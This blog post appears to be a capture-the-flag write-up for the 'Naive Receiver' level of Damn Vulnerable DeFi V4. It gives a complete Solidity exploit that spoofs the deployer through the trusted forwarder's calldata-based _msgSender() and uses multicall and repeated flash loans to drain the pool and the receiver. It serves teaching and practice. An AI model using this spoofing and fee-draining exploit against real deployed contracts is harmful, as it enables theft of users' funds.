Damn Vulnerable DeFi V4 - 02 Naive Receiver
![whiteberets[.]eth](https://cdn.hashnode.com/res/hashnode/image/upload/v1744366732112/d832a0cc-b001-4e77-953b-32f3de15c691.jpeg?w=500&h=500&fit=crop&crop=entropy&auto=compress,format&format=webp)

Challenge
There’s a pool with 1000 WETH in balance offering flash loans. It has a fixed fee of 1 WETH. The pool supports meta-transactions by integrating with a permissionless forwarder contract.
A user deployed a sample contract with 10 WETH in balance. Looks like it can execute flash loans of WETH.
All funds are at risk! Rescue all WETH from the user and the pool, and deposit it into the designated recovery account.
function _isSolved() private view {
// Player must have executed two or less transactions
assertLe(vm.getNonce(player), 2);
// The flashloan receiver contract has been emptied
assertEq(weth.balanceOf(address(receiver)), 0, "Unexpected balance in receiver contract");
// Pool is empty too
assertEq(weth.balanceOf(address(pool)), 0, "Unexpected balance in pool");
// All funds sent to recovery account
assertEq(weth.balanceOf(recovery), WETH_IN_POOL + WETH_IN_RECEIVER, "Not enough WETH in recovery account");
}
Solve
To drain the WETH balance of the NaiveReceiverPool
and FlashLoanReceiver
contracts, first let’s see if there is any relevant code that can trigger this.
There are three potential code snippets allow to do that:
weth.transfer(address(receiver), amount) in
NaiveReceiverPool.flashloan()
function.weth.transferFrom(address(receiver), address(this), amountWithFee) in
NaiveReceiverPool.flashloan()
function.weth.transfer(receiver, amount) in
NaiveReceiverPool.withdraw()
function.
The snippet1
and snippet2
is unexploitable, because it is a bug-free flashloan logic code. We need to find a way exploit NaiveReceiverPool.withdraw()
function.
In order to be able to withdraw all the WETH amount held by the NaiveReceiverPool
contract when calling the NaiveReceiverPool.withdraw()
function, we must find a way to forge enough deposits
amount.
The _msgSender()
function provided a way to let us forge arbitrary msg.sender address, as long as the msg.sender
is BasicForwarder
contract.
function _msgSender() internal view override returns (address) {
if (msg.sender == trustedForwarder && msg.data.length >= 20) { //@audit exploitable!
return address(bytes20(msg.data[msg.data.length - 20:])); //@audit exploitable!
} else {
return super._msgSender();
}
}
We can use the BasicForwarder.execute()
function to forge the _msgSender()
of the deployer (note: deposits[deployer] == 1000e18
) to initiate a withdraw()
function call to NaiveReceiverPool
contract.
The second problem is: How do we drain FlashLoanReceiver
contract’s WETH balance? The FlashLoanReceiver
doesn’t have any external function to allow us to do that.
The solution is that we set the flashloan receiver to the FlashLoanReceiver
contract by initiating a flashLoan()
call, then the NaiveReceiverPool
contract will charge a FIXED_FEE
of 1e18 WETH
from the FlashLoanReceiver
contract.
function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)
external
returns (bool)
{
if (token != address(weth)) revert UnsupportedCurrency();
// Transfer WETH and handle control to receiver
weth.transfer(address(receiver), amount);
totalDeposits -= amount;
if (receiver.onFlashLoan(msg.sender, address(weth), amount, FIXED_FEE, data) != CALLBACK_SUCCESS) {
revert CallbackFailed();
}
uint256 amountWithFee = amount + FIXED_FEE;
weth.transferFrom(address(receiver), address(this), amountWithFee); //@audit set `receiver` as the `FlashLoanReceiver` contract!
totalDeposits += amountWithFee;
deposits[feeReceiver] += FIXED_FEE;
return true;
}
It is known that FlashLoanReceiver
holds 10e18 WETH
, so we only need to initiate 10 flashLoan(receiver=FlashLoanReceiver)
calls to transfer all WETH of FlashLoanReceiver
to NaiveReceiverPool
contract, and then we can call withdraw()
function using the above method.
However, we encounter third problem: the _isSolved()
function limits the player to only initiate 2 transactions, but it seems we have exceeded the limit:
function _isSolved() private view {
// Player must have executed two or less transactions
assertLe(vm.getNonce(player), 2);
...
}
pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
pool.withdraw(amount=1010e18, receiver=address(recovery))
The solution is that we can use the multicall(bytes[] calldata data)
function of the abstract contract Multicall
inherited by NaiveReceiverPool
to package multiple transactions.
data[0] = pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
data[1] = pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
data[2] = pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
data[3] = pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
data[4] = pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
data[5] = pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
data[6] = pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
data[7] = pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
data[8] = pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
data[9] = pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
data[10] = pool.flashLoan(receiver=FlashLoanReceiver, token=weth, amount=1e18, data="")
data[11] = pool.withdraw(amount=1010e18, receiver=address(recovery))
pool.multicall(data)
Finally, combined with the BasicForwarder.execute()
function, we can successfully withdraw WETH to the recovery
account and use only 1 transaction.
Full solution code:
function test_naiveReceiver2() public checkSolvedByPlayer {
bytes[] memory data = new bytes[](11);
BasicForwarder.Request memory request;
bytes memory signature;
//---------------
data[0] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
data[1] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
data[2] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
data[3] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
data[4] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
data[5] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
data[6] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
data[7] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
data[8] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
data[9] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
data[10] = abi.encodePacked(abi.encodeCall(pool.withdraw, (1010e18, payable(recovery))), deployer);
//---------------
request = BasicForwarder.Request({
from: player,
target: address(pool),
value: 0, // we don't need to send eth
gas: 30000000, // block gas limit
nonce: 0,
data: abi.encodeCall(pool.multicall, (data)),
deadline: type(uint256).max // no deadline needed
});
//---------------
bytes32 digest = keccak256(abi.encodePacked(
"\x19\x01",
forwarder.domainSeparator(),
forwarder.getDataHash(request)
));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, digest);
signature = abi.encodePacked(r, s, v);
//---------------
forwarder.execute(request, signature);
}
Potential Patches
None, this level is just designed for fun.
Remove weird codes 🗿🗿.
// This will break the game
function _msgSender() internal view override returns (address) {
return super._msgSender();
}
Subscribe to my newsletter
Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
![whiteberets[.]eth](https://cdn.hashnode.com/res/hashnode/image/upload/v1744366732112/d832a0cc-b001-4e77-953b-32f3de15c691.jpeg?w=500&h=500&fit=crop&crop=entropy&auto=compress,format&format=webp)
whiteberets[.]eth
whiteberets[.]eth
Please don't OSINT me, I'd be shy. 🫣